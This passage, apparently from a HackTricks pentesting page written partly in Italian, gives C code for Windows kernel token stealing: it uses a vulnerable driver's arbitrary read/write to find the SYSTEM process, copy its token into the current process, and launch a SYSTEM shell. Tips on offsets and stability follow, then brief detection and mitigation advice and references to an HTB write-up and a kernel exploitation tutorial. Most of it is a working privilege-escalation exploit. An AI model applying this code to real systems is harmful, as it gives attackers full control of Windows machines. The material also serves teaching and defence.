uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
Note:
- Offsets: Use WinDbgs `dt nt!_EPROCESS` with the targets PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit bassi sono bit del conteggio riferimenti. Conservare i bit bassi originali del tuo token evita immediate inconsistenze del conteggio riferimenti.
- Stability: Preferisci elevare il processo corrente; se elevi un helper di breve durata potresti perdere SYSTEM quando termina.
## Rilevamento e mitigazione
- Il caricamento di driver di terze parti non firmati o non affidabili che espongono potenti IOCTLs è la causa principale.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole Attack Surface Reduction possono impedire il caricamento di driver vulnerabili.
- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e token swaps.
## Riferimenti
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}